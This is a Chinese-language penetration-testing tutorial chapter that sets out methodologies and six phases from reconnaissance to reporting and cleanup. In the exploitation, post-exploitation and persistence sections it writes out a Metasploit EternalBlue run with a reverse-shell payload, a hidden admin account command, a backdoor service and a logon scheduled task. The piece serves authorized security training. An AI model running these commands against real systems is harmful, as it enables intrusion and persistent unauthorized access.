渗透测试基础:渗透测试方法论与阶段划分
做渗透测试这么多年,我最大的体会是:没有方法论,就是瞎打。新人容易犯的毛病——拿到目标就开扫,扫出一堆漏洞就兴奋,结果报告交上去,客户一问「攻击链路是什么?」「这个漏洞能利用到什么程度?」就哑火了。
这一章咱们把渗透测试的方法论和阶段划分捋清楚。嗯,这些框架不是纸上谈兵,是我在真实项目中反复验证过的。
主流渗透测试方法论
行业内公认的几套方法论,说白了就是「干活的标准流程」。我建议你至少熟悉三种:
核心原则:没有方法论的渗透测试,等于盲人摸象。
客户信任你,不是因为你扫描器多,而是因为你知道每一步在干什么。
| 方法论 | 来源 | 特点 | 适用场景 |
|---|---|---|---|
| PTES | 渗透测试执行标准 | 7个阶段,覆盖全面 | 企业级全量测试 |
| OWASP测试指南 | OWASP | 聚焦Web应用 | Web渗透、API测试 |
| NIST SP 800-115 | 美国NIST | 偏重方法论与合规 | 合规审计、政府项目 |
| OSSTMM | 开源安全测试方法论 | 偏重操作安全与指标 | 通信安全、物理安全 |
我个人习惯用PTES打底,再根据目标类型补充OWASP或NIST的细节。举个例子,有一次做金融客户的全面渗透,对方明确要求「按PTES来」,因为审计要查流程文档——你中间少一个阶段,报告都不好出。
渗透测试的六个核心阶段
不管用哪套方法论,底层逻辑都差不多。我把它归纳为六个阶段,你想想看,是不是跟打仗一个道理?
- 信息收集(Recon)——知己知彼
- 威胁建模与漏洞分析——找弱点
- 漏洞利用(Exploitation)——打进去
- 后渗透(Post-Exploitation)——站稳脚跟
- 权限维持与横向移动——扩大战果
- 报告与清理——收尾复盘
经验之谈:阶段之间不是严格的线性关系。我在项目中经常需要「信息收集→利用→再收集→再利用」循环。但报告里必须按阶段写,因为客户只看结构。
下面咱们一个一个说。
阶段一:信息收集(被动与主动)
这步决定了你能打到多深。我曾经见过一个团队,信息收集只做了域名解析和端口扫描,结果漏掉了目标在GitHub上的源码泄露——那个泄露里直接摆着数据库密码。
信息收集分两类:
- 被动收集:不接触目标系统。用Shodan、Censys、Google Dork、证书透明度日志(Certificate Transparency Logs)等。我建议先做被动,因为不会触发任何告警。
- 主动收集:直接扫描目标。Nmap、Masscan、gobuster、目录爆破等。注意:一定要先获得授权再扫。
举个例子,你可以用这个命令查目标子域名下的SSL证书信息:
# 通过证书透明度获取子域名
curl -s "https://crt.sh/?q=%.example.com&output=json" | jq -r '.[].name_value' | sort -u
嗯,证书信息里经常藏着内网域名、测试站点,甚至未上线的服务。这是我们做边界穿透的一个突破口。
阶段二:威胁建模与漏洞分析
拿到信息之后,别急着打。停下来画一张攻击面图。把目标的所有入口、资产、信任关系列出来。
常用的方法有:
- 攻击树(Attack Tree):根节点是最终目标,子节点是前置条件。
- 数据流图(DFD):标出数据从哪里进来、存哪里、到哪里去。
- STRIDE模型:微软的威胁分类——欺骗、篡改、抵赖、信息泄露、拒绝服务、权限提升。
实际操作中,我会把扫描结果导入漏洞管理平台(比如Nessus或OpenVAS的报表),然后手动验证每一个高危漏洞。为什么?因为扫描器误报率很高。我记得有一次Nessus报了个「远程代码执行」,结果是旧版本Tomcat默认页面误报——浪费了整整半天。
注意:千万别把扫描结果直接当漏洞清单。验证!验证!验证!我曾经遇到过客户拿着扫描报告质问:「你们怎么没发现这个漏洞?」一看,是个扫描器误报,但人家只看报告标题。
阶段三:漏洞利用(Exploitation)
这一步是大家最「爽」的环节。但我的忠告是:先规划好回退路径。一旦打进去,你需要知道如何撤退不留痕迹。
常用的利用手法:
- Web漏洞:SQL注入、文件上传、反序列化
- 系统漏洞:永恒之蓝、提权漏洞
- 弱密码:暴力破解、凭证重用
- 中间人攻击:ARP欺骗、DNS劫持(内网场景)
举个例子,Metasploit里利用一个SMB漏洞:
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.1.10
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.100
msf6 > exploit
打进去之后,Meterpreter的session就建立了。但别高兴太早——后渗透才是真正的战场。
阶段四:后渗透(Post-Exploitation)
拿到初始权限后,你需要评估这个Shell能干什么。我习惯先跑一个信息收集脚本:
meterpreter > sysinfo
meterpreter > getuid
meterpreter > ifconfig
meterpreter > shell # 进入系统终端
C:\Users\user> whoami /all
C:\Users\user> netstat -ano
重点看:当前用户权限、网络连接、域环境、杀软/EDR、是否在堡垒机或跳板机上。如果是普通用户权限,下一步就是提权。
后渗透我最怕什么?就是权限拿到了但被EDR发现。有一次在客户生产网里,我刚执行了whoami,EDR就报警了。客户紧急切断所有网络,我的session直接掉了……嗯,从那以后我学会了先检查进程里有没有监控软件,再执行任何命令。
阶段五:权限维持与横向移动
权限维持就是想办法让自己能回来。常见的做法:
- 创建隐藏账户:
net user sysadm$ P@ssw0rd /add - 安装后门服务:
sc create backdoor binPath= "C:\xxx.exe" - 添加计划任务:
schtasks /create /tn "Update" /tr "powershell ..." /sc onlogon - 利用Web Shell:上传小马,保持HTTP通道
横向移动则依赖于凭证获取。我在内网中常用「哈希传递」:抓到了本地管理员hash,直接Hash传递到另一台机器。
避坑指南:别在所有机器上用同一个后门。会被查杀。我曾经在横向移动时用了同样的端口和密钥,结果被客户的安全运营中心(SOC)直接关联了所有告警——一个大礼包。
阶段六:报告与清理
测试结束,一定要做三件事:
- 清理所有后门、用户、计划任务、Web Shell。我每次写完报告前会对照笔记逐条清理,然后让同伴复查一遍。有一次清理不干净,客户后来发现了一台机器的异常计划任务,差点惹官司。
- 还原系统配置。改过的防火墙规则、启用的服务、修改的注册表,全部恢复。
- 编写报告。报告要有攻击链路图、漏洞详情(风险等级、CVE编号、复现步骤)、修复建议。
报告的质量直接影响客户对你的专业度判断。我见过太多团队测得很漂亮,但报告写得跟流水账一样——结果客户不买账。
核心知识结构图
下面这张SVG把六个阶段、各阶段的关键动作和输入输出串起来了。你可以对照这张图理清思路。
阶段划分的实战意义
你可能会问:分这么细有必要吗?我直接把所有工具跑一遍不行吗?
我的回答是:分阶段不是为了好看,是为了可控。
举个例子。某次做红队演练,我们按阶段推进。信息收集阶段发现目标一个老旧Tomcat服务器(版本号暴露)。漏洞分析阶段确认它存在反序列化漏洞。利用阶段用ysoserial打进去,拿到一个普通用户权限。后渗透阶段提权到SYSTEM。整个过程客户SOC完全没有察觉,因为每一步我们都绕开了监控规则。
反观另一支团队,上来就开Metasploit全量扫描,结果被客户IPS直接阻断,IP被拉黑——整个测试还没开始就结束了。
我的习惯:每个阶段开始前,花5分钟把阶段目标和退出条件写在便签上。贴屏幕旁边。做完一个划掉一个。这样既不会忘记清理,也知道何时可以进入下一阶段。
总结一下关键点
- 方法论不是束缚,是保护伞——保护你不出纰漏,保护客户不被折腾。
- 六个阶段可以循环迭代,但报告里必须线性呈现。
- 信息收集决定上限,后渗透决定下限。一半以上的时间应该花在信息收集上。
- 清理痕迹 永不妥协。签了保密协议就要对得起这份信任。